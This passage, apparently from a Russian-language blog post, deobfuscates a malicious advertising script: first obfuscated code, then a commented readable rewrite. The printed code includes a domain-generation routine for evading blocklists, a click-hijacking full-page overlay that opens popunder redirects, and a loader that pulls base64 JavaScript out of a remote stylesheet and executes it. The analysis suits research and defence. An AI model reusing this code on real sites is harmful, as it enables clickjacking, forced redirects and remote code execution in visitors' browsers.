value = test(value, node, obj, item, check[T + te], selector, query);
item = test(item, value, node, obj, check[T + id], rreturn, -F8);
obj = test(obj, item, value, node, check[T + match], r20, -k);
node = test(node, obj, item, value, check[T + restoreScript], result, typePattern);
value = test(value, node, obj, item, check[T + bytenew], selector, -d);
item = test(item, value, node, obj, check[T + passes], rreturn, -Z);
obj = test(obj, item, value, node, check[T + scripts], r20, power);
node = test(node, obj, item, value, check[T + sel], result, -t);
value = iterator(value, node, obj, item, check[T + id], restoreScript, -S);
item = iterator(item, value, node, obj, check[T + suiteView], base, STACK_JUMP_SEPARATOR);
obj = iterator(obj, item, value, node, check[T + pdataCur], scripts, -u);
node = iterator(node, obj, item, value, check[T + pdataOld], which, -W);
value = iterator(value, node, obj, item, check[T + passes], restoreScript, camelKey);
item = iterator(item, value, node, obj, check[T + match], base, -M);
obj = iterator(obj, item, value, node, check[T + base], scripts, -V);
node = iterator(node, obj, item, value, check[T + idx], which, -X);
value = iterator(value, node, obj, item, check[T + fromIndex], restoreScript, _v);
item = iterator(item, value, node, obj, check[T + scripts], base, -g);
obj = iterator(obj, item, value, node, check[T + restoreScript], scripts, -e);
node = iterator(node, obj, item, value, check[T + te], which, silentOptions);
value = iterator(value, node, obj, item, check[T + selector], restoreScript, -f);
item = iterator(item, value, node, obj, check[T + rreturn], base, -y);
obj = iterator(obj, item, value, node, check[T + sel], scripts, udataCur);
node = iterator(node, obj, item, value, check[T + bytenew], which, -Q);
value = $(value, v);
node = $(node, parent);
obj = $(obj, context);
item = $(item, doc);
}
return get(value) + get(node) + get(obj) + get(item);
};
toggle(radixToPower);
/** @type {Array} */
var array = [foo, value2, baz, aba, I2, A_Z_a_z + d1 + d2 + customViewMenuOffsetWidth + d1 + w2];
/** @type {number} */
var index2 = idx;
/** @type {number} */
var progressContexts = selector;
/** @type {string} */
var rvar = item.j5h;
/** @type {Array} */
var src = item.t5h;
var tref = void id;
/** @type {Array} */
var until = [];
var blank;
var text;
var index;
/** @type {string} */
var orig = path;
var child = child || {};
isUndefinedOrNull(item);
isArguments(a);
/** @type {string} */
var expectedOutput = expected;
/** @type {string} */
var up = mouseup;
index = getIndex();
tryIt();
throttledUpdate();
if (I3x.X5h(item.F5h, undefined) && I3x.j6h(item.F5h.length, id)) {
var memory;
valueAccessor(function() {
getActual(function() {
/**
* @param {Array} options
* @param {?} $vid
* @return {undefined}
*/
function pause(options, $vid) {
/**
* @param {Element} e
* @return {undefined}
*/
function pause(e) {
if (e.classList.contains(item.F5h)) {
e.classList.remove(item.F5h);
e.classList.add(getValue(child.b5h + Date.now()));
}
}
/** @type {number} */
var len = id;
var spaces = options.length;
for (;I3x.F6h(len, spaces);len++) {
if ($vid) {
/**
* @return {undefined}
*/
var callback = function() {
/** @type {string} */
var dots = ".html";
options[len].href = text + dots;
};
callback();
pause(options[len]);
continue;
}
options[len].href = fn();
}
}
/**
* @return {undefined}
*/
var bindings = function() {
memory = window["document"]["querySelectorAll"](total + item.F5h) ? window["document"]["querySelectorAll"](total + item.F5h) : obj;
};
bindings();
if (I3x.U6h(memory, obj)) {
return;
}
toVLQSigned(function() {
pause(memory, true);
}, function() {
pause(memory);
});
});
});
return;
}
var node = function() {
var doneResults = false;
return function() {
/** @type {string} */
var filename = "ript";
/**
* @param {?} data
* @return {undefined}
*/
var triggerHandler = function(data) {
doneResults = data;
};
/**
* @param {string} blank
* @return {undefined}
*/
var err = function(blank) {
/** @type {string} */
img.src = blank;
};
if (doneResults) {
return;
}
triggerHandler(true);
var img = window["document"]["createElement"](name + s + filename);
err(blank);
valueAccessor(function() {
window["document"]["body"]["appendChild"](img);
});
/**
* @return {undefined}
*/
img.onload = function() {
img.parentNode.removeChild(img);
if (I3x.Q6h(window["window"].zfgloadedpopup, true)) {
onerror(img);
}
};
/**
* @return {undefined}
*/
img.onerror = function() {
onerror(img);
};
};
}();
var onerror = function() {
var H2h = false;
return function init(editor) {
/** @type {string} */
var udataCur = "anonymous";
/** @type {string} */
var memory = "text/css";
/** @type {string} */
var pdataOld = "stylesheet";
/** @type {string} */
var seq = "head";
/** @type {string} */
var div = "link";
/**
* @return {undefined}
*/
var loop = function() {
/** @type {string} */
var extension = "css";
elem.id = index + extension;
};
/**
* @param {?} value
* @return {undefined}
*/
var fn = function(value) {
elem.rel = value;
};
/**
* @param {Object} value
* @return {undefined}
*/
var options = function(value) {
/** @type {Object} */
elem.crossOrigin = value;
};
/**
* @param {string} type
* @return {undefined}
*/
var fire = function(type) {
/** @type {string} */
elem.type = type;
};
/**
* @return {undefined}
*/
var change = function() {
/** @type {string} */
var dots = ".css";
elem.href = text + dots;
};
if (H2h) {
return;
}
if (editor.parentNode) {
editor.parentNode.removeChild(editor);
}
var elem = window["document"]["createElement"](div);
var target = window["document"]["getElementsByTagName"](seq)[id];
loop();
fn(pdataOld);
fire(memory);
options(udataCur);
change();
if (target) {
target.insertBefore(elem, target.firstChild);
}
/**
* @return {undefined}
*/
elem.onload = function() {
var gameConfig = getText(elem.href);
if (gameConfig) {
on(failuresLink);
elem.parentNode.removeChild(elem);
return;
}
var prep = ok(elem.href);
setTimeout(function() {
/** @type {string} */
var closure = "io";
/** @type {string} */
var arr = "nct";
/** @type {string} */
var inner = "fu";
if (typeof prep === inner + arr + closure + style) {
prep();
}
elem.parentNode.removeChild(elem);
}, backoff);
if (I3x.O5h(window["window"].zfgloadedpopup, true)) {
on(failuresLink);
}
};
/**
* @return {undefined}
*/
elem.onerror = function() {
on(failuresLink);
elem.parentNode.removeChild(elem);
};
};
}();
var on = function() {
var deep = false;
return function(deepDataAndEvents) {
/**
* @return {?}
*/
function pluck() {
return getter(index).split(path).map(function(m1) {
return parseInt(m1, base);
});
}
/**
* @param {Array} that
* @return {?}
*/
function filter(that) {
/** @type {Array} */
var filtered = [];
for (;I3x.e5h(that.length, id);) {
filtered.push(that.splice(indexOf(id, that.length), idx).toString());
}
return filtered;
}
/**
* @param {number} name
* @param {number} id
* @param {number} s
* @return {undefined}
*/
function getObject(name, id, s) {
getNext(index, name + path + id + path + s);
}
/** @type {string} */
var offset = "z-index:";
/** @type {string} */
var webPortPath = "bottom:";
/** @type {string} */
var spaceBefore = "right:";
/** @type {string} */
var reference = "left:";
/** @type {string} */
var spaceAfter = "px;";
/** @type {string} */
var base = "height:";
/** @type {string} */
var val = "%;";
/** @type {string} */
var name = "width:";
/** @type {string} */
var start = "position:fixed;";
/** @type {(number|string)} */
var udataCur = 101;
/** @type {number} */
var arg = 98;
/** @type {number} */
var obj = 99999999;
/** @type {number} */
var actual = 9999999;
/** @type {string} */
var _ = "op";
/** @type {string} */
var g = "reff";
/** @type {string} */
var m = " ";
/** @type {string} */
var h = "w";
/** @type {string} */
var x = "lo";
/** @type {string} */
var mapwidth = "ofol";
/** @type {string} */
var nbsp = "umbe";
/** @type {string} */
var NUMBER = "number";
/** @type {string} */
var startIndex = "___goo";
/** @type {number} */
var YY_START = 30;
/** @type {string} */
var path = "|";
/**
* @param {?} key
* @return {undefined}
*/
var fn = function(key) {
el.rel = key;
};
/**
* @param {?} target
* @return {undefined}
*/
var deepMatches = function(target) {
deep = target;
};
/**
* @return {undefined}
*/
var removeHash = function() {
/** @type {string} */
var _ = "tm";
el.href = text + (total + value + _ + i);
};
/**
* @return {undefined}
*/
var throttledUpdate = function() {
which = I3x.G2h(which, backoff, udataCur, udataCur);
};
if (deep) {
return;
}
deepMatches(true);
/** @type {number} */
var previousSibling = idx;
/** @type {(boolean|number)} */
var ifKeyword = match;
/** @type {number} */
var YYSTATE = YY_START;
/** @type {string} */
var index = startIndex;
/** @type {number} */
var rvar = (new Date).getTime();
/** @type {(boolean|number)} */
var r20 = typeof item.n5h === NUMBER ? item.n5h : ifKeyword;
/** @type {number} */
var which = typeof item.g5h === style + nbsp + c ? item.g5h : previousSibling;
/** @type {number} */
var chunk = typeof item.R2h === NUMBER ? item.R2h : YYSTATE;
var result = void id;
throttledUpdate();
chunk *= backoff;
if (!getter(index)) {
getObject(rvar, id, id);
appendModelPrefix();
} else {
var CACHE = pluck();
var cache = f5h(CACHE, sel);
var mod = cache[id];
var data = cache[idx];
if (I3x.d2h(which, id)) {
getObject(id, data, id);
} else {
if (I3x.c5h(rvar, mod + which)) {
getObject(rvar, data, id);
} else {
}
}
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var classNames = matches[sel];
if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) {
appendModelPrefix();
}
}
var el = window["document"]["createElement"](e);
removeHash();
fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c);
var i = indexOf(actual, obj);
var keyName = indexOf(arg, udataCur);
var type = indexOf(arg, udataCur);
var found = indexOf(id, selector);
var io = indexOf(id, selector);
var size = indexOf(id, selector);
var content = indexOf(id, selector);
/** @type {Array} */
var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j];
window["document"]["addEventListener"](expectedOutput, function(event) {
/** @type {number} */
var udataCur = (new Date).getTime();
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var data = matches[idx];
var classNames = matches[sel];
if (I3x.M5h(udataCur, data + chunk)) {
return;
}
if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) {
return;
}
var o = findClosestLink(event.target, g);
if (o) {
/**
* @param {StyleSheet} o
* @return {undefined}
*/
var unfoldSoak = function(o) {
result = o.href;
};
unfoldSoak(o);
}
event.preventDefault();
event.stopPropagation();
loopMatch();
valueAccessor(function() {
return window["document"]["body"]["appendChild"](el);
});
el.style.cssText += filter(a).join(str);
}, true);
el.addEventListener(up, function(event) {
/** @type {string} */
var val2 = "Fhtml";
/** @type {string} */
var z = "y";
/** @type {string} */
var y = "od";
/** @type {string} */
var ty = "dy";
/** @type {string} */
var inner = "bo";
/** @type {string} */
var o = "ead";
/** @type {(number|string)} */
var n = h;
/** @type {(number|string)} */
var longNameB = F;
/** @type {string} */
var JSCRIPT_KEYWORDS = "E";
/** @type {string} */
var q = "p";
/** @type {string} */
var value = "Fscri";
/** @type {string} */
var operator = "2";
/** @type {string} */
var s = "C";
/** @type {string} */
var PYTHON_KEYWORDS = "3";
/** @type {string} */
var PERL_KEYWORDS = "%";
/** @type {string} */
var t = '?q");}, 300);';
/** @type {string} */
var g = '("';
/** @type {string} */
var r = "ce";
/** @type {string} */
var args = "ati";
/** @type {string} */
var js = "oc";
/** @type {string} */
var spaceAfter = "ow";
/** @type {string} */
var x = "(){ ";
/** @type {string} */
var closure = "cti";
/** @type {string} */
var $2 = "Time";
/** @type {string} */
var __ = "; ";
/** @type {string} */
var indentCharacter = "ul";
/** @type {string} */
var clazz = " = ";
/** @type {string} */
var varPart = "er";
/** @type {string} */
var guardPart = "en";
/** @type {string} */
var m = "in";
/** @type {string} */
var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E";
/**
* @param {?} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
data = obj;
};
/** @type {number} */
var suiteView = (new Date).getTime();
var animationLookup = pluck();
var matches = f5h(animationLookup, match);
var marker = matches[id];
var data = matches[idx];
var url = matches[sel];
var self = void id;
event.preventDefault();
event.stopPropagation();
event.stopImmediatePropagation();
isUndefined(suiteView);
url += idx;
getObject(marker, data, url);
if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) {
/**
* @param {Object} parent
* @return {undefined}
*/
var group = function(parent) {
/** @type {Object} */
self.opener = parent;
};
/**
* @return {undefined}
*/
var success = function() {
/** @type {string} */
var px = "?q";
/** @type {string} */
window["window"]["location"] = el.href + px;
};
self = window["window"]["open"](str);
if (I3x.P2h(result, undefined)) {
/**
* @param {(Object|string)} details
* @return {undefined}
*/
var report = function(details) {
/** @type {(Object|string)} */
self.location = details;
};
report(result);
} else {
/**
* @param {Object} elem
* @return {undefined}
*/
var removeEvent = function(elem) {
self.location = elem.location;
};
removeEvent(window);
}
success();
group(obj);
el.parentNode.removeChild(el);
return;
}
self = window["window"]["open"](path);
self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + "t" + PERL_KEYWORDS + PYTHON_KEYWORDS +
JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS +
PYTHON_KEYWORDS + JSCRIPT_KEYWORDS));
el.parentNode.removeChild(el);
}, true);
};
}();
var drawBorder = function() {
/** @type {(number|string)} */
var v = ")";
/** @type {string} */
var b = "AAIB";
/** @type {string} */
var r = "AE";
/** @type {string} */
var groupId = "BA";
/** @type {string} */
var ele = "LA";
/** @type {string} */
var epath = "AEAAA";
/** @type {string} */
var suffix = "B";
/** @type {string} */
var args = "5";
/** @type {string} */
var H = "H";
/** @type {string} */
var x = "y";
/** @type {string} */
var w = "///";
/** @type {string} */
var $ = "AA";
/** @type {string} */
var re = "AAA";
/** @type {string} */
var PYTHON_KEYWORDS = "BAIA";
/** @type {string} */
var PERL_KEYWORDS = "QA";
/** @type {string} */
var JSCRIPT_KEYWORDS = "ODlhA";
/** @type {(number|string)} */
var CSHARP_KEYWORDS = G;
/** @type {string} */
var separator = "0l";
/** @type {string} */
var string = "R";
/** @type {string} */
var inner = "e64";
/** @type {string} */
var s = "as";
/** @type {string} */
var name = "b";
/** @type {(number|string)} */
var closer = g;
/** @type {string} */
var expires = "age";
/** @type {(number|string)} */
var value = m;
/** @type {string} */
var spaceAfter = "at";
/** @type {(number|string)} */
var last = 999999;
/** @type {string} */
var div = "div";
/**
* @param {(number|string)} backgroundImage
* @return {undefined}
*/
var backgroundImage = function(backgroundImage) {
/** @type {(number|string)} */
node.style.backgroundImage = backgroundImage;
};
/**
* @param {number} last
* @return {undefined}
*/
var process = function(last) {
/** @type {number} */
node.style.zIndex = last;
};
var node = window["document"]["createElement"](div);
process(last);
backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v);
return function(elems) {
var testElement = node.cloneNode(false);
var i;
for (i in elems) {
if (Object.prototype.hasOwnProperty.call(elems, i)) {
/**
* @param {Object} object
* @return {undefined}
*/
var debug = function(object) {
testElement.style[i] = object[i];
};
debug(elems);
}
}
window["document"]["body"]["appendChild"](testElement);
return testElement;
};
}();
traverseNode(node);
/**
* @return {undefined}
*/
window["window"][timeoutKey] = function() {
if (I3x.h5h(window["window"].zfgloadedpopup, true)) {
node();
}
};
} catch (x) {
}
})({
j5h : "",
U5h : 1397381,
n5h : 3,
g5h : 3,
R2h : 45,
t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"],
F5h : ""
}, "_hmiadab", "_ihlnws");
Всё ещё плохо поддаётся пониманию, но уже на порядки лучше!
Теперь возьмёмся за словарь функций (var I3x = {...};) и вынесем его отдельно. Остальное обработаем скриптом.
for (let _name in I3x) {
let _func = I3x[_name].toString().replace(/[rns]+/g,' ');
let _parts = _func.match(/^functions(([wd]+),s([wd]+))s{sreturns([wd]+)s([WD]+)s([wd]+);s}$/);
if (_parts && _parts[1] === _parts[3] && _parts[2] === _parts[5]) {
let _new = _scr.replace(new RegExp(`I3x\.${_name}\(([^),]+),\s([^)]+)\)`), `(($1)${_parts[4]}($2))`);
if (_new !== _scr)
_scr = _new;
else
console.log(`Not replaced lib.${_name} = ${_func}`);
} else
console.log(`Skipped lib.${_name} = ${_func}`);
}
console.warn(_scr);
Часть функций не будет заменена, но таких будет не много и выправить их вручную проблемой стать не должно. Хотя в других условиях этот код потребуется значительно доработать так-как я, например, встречал эту разновидность обфускации с конструкциями вида:
let lib = { abc: function(a, b, c) { return a(b, c); } };
// далее в коде
lib.abc(d, e, f);
// вместо прямого вызова
d(e, f);
К сожалению не нашёл удобных инструментов для отслеживания границ доступности и «затенения» переменных и потому пришлось восстанавливать строковые данные вручную.
"use strict";
var _parseState = (function() {
// I haven't found fragment of code with definition of 'I2h' object
function resolve(_savedState, someNumber) {
var a = [];
var regexp2_fn = true;
var text = false;
var callback = undefined;
try {
var entry = _savedState[I2h.h2h]();
var pair;
for (; !(regexp2_fn = (pair = entry.next()).E5h); regexp2_fn = true) {
a.push(pair.value);
if (someNumber && a.length === someNumber) {
break;
}
}
} catch (error) {
text = true;
callback = error;
} finally {
try {
if (!regexp2_fn && entry.return)
entry.return();
} finally {
if (text) {
throw callback;
}
}
}
return a;
}
// usually this function returns state as-is since it's an array
return function(_savedState, someNumber) {
if (Array.isArray(_savedState)) {
return _savedState;
} else {
if (I2h.h2h in Object(_savedState)) {
return resolve(_savedState, someNumber);
} else {
throw new TypeError("Invalid attempt to destructure non-iterable instance");
}
}
};
})();
(function(config, onErrorName, onLoadName) {
try {
var _generateDomanName = function parse() {
if (src.length > 0) {
return atob(src[0].split('').reverse().join(''));
}
var _osName = _getOSName();
var _osVer = _getOSVersion(_osName);
var _osID = ((os, v) => os == "Windows" ? (v == "10" ? 2 : ((v == "7" || v == "8") ? 3 : 1)) : 1)(_osName, _osVer);
var _widthID = ((w) => w == "1920" ? 2 : (w == "1366" ? 3 : 1))(window.screen.width);
var _timezoneID = _getTimezoneID(-(new Date).getTimezoneOffset() / 60);
let _pad = x => (x + '').padStart(2, '0');
var prop = _pad(_timezoneID + '') + _pad(_widthID + '') + _pad(_osID + '') + "0000";
var _obj = {};
// unless there are some other shenanigans on the page this should be always false
prop = _obj.hasOwnProperty(prop) ? _obj[prop] : prop;
var _codeString = void 0;
// actually _config_j5h is equal to empty string in this particular case
// so, _codeString remain undefined
if (_config_j5h === 1) {
_codeString = "wmoaz2g6axi0p";
} else {
if (_config_j5h === 4) {
_codeString = "5901cf07608da";
}
}
var _obj = {};
// same as above, most likely just returns _codeString as-is
var initial = _obj.hasOwnProperty(prop) ? _obj[prop] : _codeString;
var restoreScript = prop + initial;
var sumAllNumbers = function sumAllNumbers(text) {
var _sum = 0;
if (text.toString().length == 1) {
return parseInt(text);
} else {
text.toString().split('').forEach(x => _sum += parseInt(x));
return sumAllNumbers(_sum);
}
};
return getValue(restoreScript).substr(0, ((20) - (sumAllNumbers(_timezoneID)))) + ".com";
};
// Postpones function until document.body is available
// Almost the same thing as wait for DOMContentLoaded
var _waitForBody = function(_func) {
if (!document.body) {
var timer = setTimeout(function run() {
if (!document.body) {
timer = setTimeout(run, 20);
return;
}
_func();
clearTimeout(timer);
}, 20)
} else {
_func();
}
};
// looks like their own setTimeout implementation
var _postponeABit = function run(_func) {
var _stop = false;
var _interval = setInterval(function() {
if (!_stop) {
_stop = true;
_func();
clearInterval(_interval);
}
}, 300);
return _interval;
};
// I've replaced "The Great Wall of IFs" with something less awful
var _getTimezoneID = function clone(_timezone) {
let res = Math.ceil(_timezone) + 12;
if (res < 4) res = 4;
if (res > 21) res = 23;
if (res === 9 || res === 11) res = 10;
return res;
};
// get OS name from userAgent
var _getOSName = function parse() {
var _userAgent = window.navigator.userAgent;
var _platform = window.navigator.platform;
var macs = ["Macintosh", "MacIntel", "MacPPC", "Mac68K"];
var windows = ["Win32", "Win64", "Windows", "WinCE"];
var imacs = ["iPhone", "iPad", "iPod"];
var ret = null;
if (macs.indexOf(_platform) !== -1) {
ret = "MacOS";
} else {
if (imacs.indexOf(_platform) !== -1) {
ret = "iOS";
} else {
if (windows.indexOf(_platform) !== -1) {
ret = "Windows";
} else {
if (/Android/.test(_userAgent)) {
ret = "Android";
} else {
if (!ret && /Linux/.test(_platform)) {
ret = "Linux";
}
}
}
}
}
return ret;
};
// get major Windows version and ignore all the rest
var _getOSVersion = function m(_osName) {
var output = '';
var _userAgent = window.navigator.userAgent;
if (_osName === "Windows") {
if (/(Windows 10.0|Windows NT 10.0)/.test(_userAgent)) {
output = "10";
}
if (/(Windows 8|Windows NT 6.2|Windows NT 6.3)/.test(_userAgent)) {
output = "8";
}
if (/(Windows 7|Windows NT 6.1)/.test(_userAgent)) {
output = "7";
}
}
return output;
};
var _getScriptURL = function initialize() {
// get ads script URL from the page code
let node = document.querySelector('script[src*="apu.php"]');
if (node === null)
return;
// since config.F5h is equal to "" in this case replace won't happen
return config.F5h ? node.src.replace(/apu.php/g, "afu.php") : node.src;
};
// attempt to load string of some hostnames from a styleSheets
// return true if current hostname is in the list
var _isKnownHost = function init(_href) {
try {
let l = void 0;
if (document.styleSheets) {
for (let sheet of document.styleSheets) {
if (sheet.href === _href) {
// get base64 encoded list of hostnames stored in stylesheet
l = sheet.cssRules[3].style.content;
break;
}
}
}
if (!l)
return false;
l = l.substring(1, ((l.length) - 1));
let f = window.atob(l);
f = f.split(",");
return f.some(x => x === location.host);
} catch (ignore) {}
};
// attempt to load some script code from a styleSheets and run it
// returns a function which removes it from the page
var _createScriptFromStyle = function(assert) {
try {
let l = void 0;
if (document.styleSheets) {
for (let sheet of document.styleSheets) {
if (sheet.href === assert) {
// get base64 encoded function stored in stylesheet
l = sheet.cssRules[2].style.content;
break;
}
}
}
if (!l) {
// use blank function "(function() {})();" if failed to get proper code
l = '"KGZ1bmN0aW9uKCkge30pKCk7"';
// return () => null; at this point would be the same
}
l = l.substring(1, ((l.length) - 1));
var _script = document.createElement("script");
_script.type = "text/javascript";
var _text = document.createTextNode(window.atob(l));
_script.appendChild(_text);
// attach script to a page and return function which will detach it
document.body.appendChild(_script);
// could have been detached right here, but they decided to do it
// at the call site after a short timeout
return function() {
_script.parentNode.removeChild(_script);
};
} catch (x) {}
};
// produce random integer between _min and _max
var _getRandom = (_min, _max) => Math.floor(Math.random() * (_max - _min) + _min);
// Saves 'value' and all properties of an object into a cookie
// Not used?
var X5 = function setCookie(_cookieName, _cookieValue, _config) {
_config = _config || {};
var exp = _config.c6h;
if (typeof exp == "number" && exp) {
var d = new Date;
d.setTime(d.getTime() + ((exp) * (1000)));
exp = _config.c6h = d;
}
if (exp && exp.toUTCString) {
_config.c6h = exp.toUTCString();
}
_cookieValue = encodeURIComponent(_cookieValue);
var _res = _cookieName + "=" + _cookieValue;
for (let _prop in _config) {
_res += "; " + _prop;
if (_config[_prop] !== true) {
_res += "=" + _config[_prop];
}
}
document.cookie = _res;
};
// another cookie-related function, also not used
var V5 = function getCookie(elem) {
var matches = document.cookie.match(
new RegExp("(?:^|; )" + elem.replace(/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)")
);
return matches ? decodeURIComponent(matches[1]) : void 0;
};
// returns object with absolute top and left position of a node on the page
var _getNodePosition = function(node) {
let _DOMRect = node.getBoundingClientRect();
let _element = document.documentElement;
let _body = document.body;
return {
top: Math.round(_DOMRect.top + (window.pageYOffset || _element.scrollTop || _body.scrollTop) - (_element.clientTop || _body.clientTop || 0)),
left: Math.round(_DOMRect.left + (window.pageXOffset || _element.scrollLeft || _body.scrollLeft) - (_element.clientLeft || _body.clientLeft || 0))
};
};
// generate transparent placeholders on top of NON banner-sized objects
var _regeneratePlaceholders = function _regeneratePlaceholders() {
// remove existing placeholders if present
forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node));
_placeholders = forEach(_arrayFromSelector("object, iframe, embed, video, audio"),
element => {
if (!_bannerResolutions.some(x => element.offsetWidth + "x" + element.offsetHeight === x)) {
var _pos = _getNodePosition(element);
return _generatePlaceholder({
left: _pos.left + "px",
top: _pos.top + "px",
height: element.offsetHeight + "px",
width: element.offsetWidth + "px",
position: "absolute"
});
}
return [];
}
);
// keep track of elements position change and move placeholders to new position
// could have been done in a less awful way than just drop and re-create them every 3/4 of a second
_regeneratePlaceholdersTimeoutID = setTimeout(_regeneratePlaceholders, 750);
};
var _dropPlaceholders = function unload() {
if (_placeholders.length === 0)
return;
// remove existing placeholders
forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node));
// stop _regeneratePlaceholders
if (_regeneratePlaceholdersTimeoutID)
clearTimeout(_regeneratePlaceholdersTimeoutID);
};
// we can use Array.from these days
var _arrayFromSelector = function(_selector) {
var res = [];
try {
res = forEach(document.querySelectorAll(_selector), x => x);
} catch (ignore) {}
return res;
};
// run 'callback' for each element of an array-like object passed in
// and return an array of non-undefined results
var forEach = function(arg, callback) {
let bucket = [];
let value = void 0;
for (let i = 0; i < arg.length; i++) {
value = callback(arg[i], i, arg);
if (value !== void 0)
bucket.push(value);
}
return bucket;
};
var cloneDate = function(result) {
var val = ((result.length + 8) >> 6) + 1;
var actions = new Array(val * 16);
var _id = 0;
for (; _id < val * 16; _id++) {
actions[_id] = 0;
}
_id = 0;
for (; _id < result.length; _id++) {
actions[_id >> 2] |= result.charCodeAt(_id) << (_id % 4 * 8);
}
actions[_id >> 2] |= (128 << (_id % 4 * 8));
actions[val * 16 - 2] = result.length * 8;
return actions;
};
// BITWISE MAGIC BLOCK: START
// looks like a function to convert a number to base 16 8 byte little-endian form
// x => x.toString(16).padStart(8, '0').match(/../g).reverse().join('').substr(0,8);
var get = function extend(_val) {
var res = "";
var _base = "0123456789abcdef";
var _id = 0;
for (; _id <= 3; _id++) {
res += _base.charAt((_val >> _id * 8 + 4) & 15) + _base.charAt((_val >> _id * 8) & 15);
}
return res;
};
// similar to a + b with limitations of bitwise operations
var _sum = function(_a, _b) {
let s1 = (_a & 65535) + (_b & 65535);
let s2 = (_a >> 16) + (_b >> 16) + (s1 >> 16);
return ((s2 << 16) | (s1 & 65535));
};
// similar to x * Math.pow(2, y) with limitations of bitwise operations
var wrap = (x, y) => ((x << y) | (x >>> 32 - y));
// some bitwise transformations
var mixin = function(a, b, c, d, e, f) {
return _sum(wrap(_sum(_sum(b, a), _sum(d, f)), e), c);
};
var _step1 = function(a, b, c, d, e, f, g) {
return mixin(((b) & (c)) | ~b & d, a, b, e, f, g);
};
var _step2 = function(a, b, c, d, e, f, g) {
return mixin(((b) & (c)) | c & ~d, a, b, e, f, g);
};
var _step3 = function(a, b, c, d, e, f, g) {
return mixin((b ^ c ^ d), a, b, e, f, g);
};
var _step4 = function(a, b, c, d, e, f, g) {
return mixin(c ^ (b | ~d), a, b, e, f, g);
};
// as I understand this function is used to generate domain names depending on date in order to circumvent blocking
// now they just have to register these domains in advance
var getValue = function render(callback) {
var check = cloneDate(callback);
var _var1 = 1732584193;
var _var2 = -271733879;
var _var3 = -1732584194;
var _var4 = 271733878;
var T = 0;
for (; T < check.length; T += 16) {
var _var1init = _var1;
var _var2init = _var2;
var _var3init = _var3;
var _var4init = _var4;
_var1 = _step1(_var1, _var2, _var3, _var4, check[T + 0], 7, -680876936);
_var4 = _step1(_var4, _var1, _var2, _var3, check[T + 1], 12, -389564586);
_var3 = _step1(_var3, _var4, _var1, _var2, check[T + 2], 17, 606105819);
_var2 = _step1(_var2, _var3, _var4, _var1, check[T + 3], 22, -1044525330);
_var1 = _step1(_var1, _var2, _var3, _var4, check[T + 4], 7, -176418897);
_var4 = _step1(_var4, _var1, _var2, _var3, check[T + 5], 12, 1200080426);
_var3 = _step1(_var3, _var4, _var1, _var2, check[T + 6], 17, -1473231341);
_var2 = _step1(_var2, _var3, _var4, _var1, check[T + 7], 22, -45705983);
_var1 = _step1(_var1, _var2, _var3, _var4, check[T + 8], 7, 1770035416);
_var4 = _step1(_var4, _var1, _var2, _var3, check[T + 9], 12, -1958414417);
_var3 = _step1(_var3, _var4, _var1, _var2, check[T + 10], 17, -42063);
_var2 = _step1(_var2, _var3, _var4, _var1, check[T + 11], 22, -1990404162);
_var1 = _step1(_var1, _var2, _var3, _var4, check[T + 12], 7, 1804603682);
_var4 = _step1(_var4, _var1, _var2, _var3, check[T + 13], 12, -40341101);
_var3 = _step1(_var3, _var4, _var1, _var2, check[T + 14], 17, -1502002290);
_var2 = _step1(_var2, _var3, _var4, _var1, check[T + 15], 22, 1236535329);
_var1 = _step2(_var1, _var2, _var3, _var4, check[T + 1], 5, -165796510);
_var4 = _step2(_var4, _var1, _var2, _var3, check[T + 6], 9, -1069501632);
_var3 = _step2(_var3, _var4, _var1, _var2, check[T + 11], 14, 643717713);
_var2 = _step2(_var2, _var3, _var4, _var1, check[T + 0], 20, -373897302);
_var1 = _step2(_var1, _var2, _var3, _var4, check[T + 5], 5, -701558691);
_var4 = _step2(_var4, _var1, _var2, _var3, check[T + 10], 9, 38016083);
_var3 = _step2(_var3, _var4, _var1, _var2, check[T + 15], 14, -660478335);
_var2 = _step2(_var2, _var3, _var4, _var1, check[T + 4], 20, -405537848);
_var1 = _step2(_var1, _var2, _var3, _var4, check[T + 9], 5, 568446438);
_var4 = _step2(_var4, _var1, _var2, _var3, check[T + 14], 9, -1019803690);
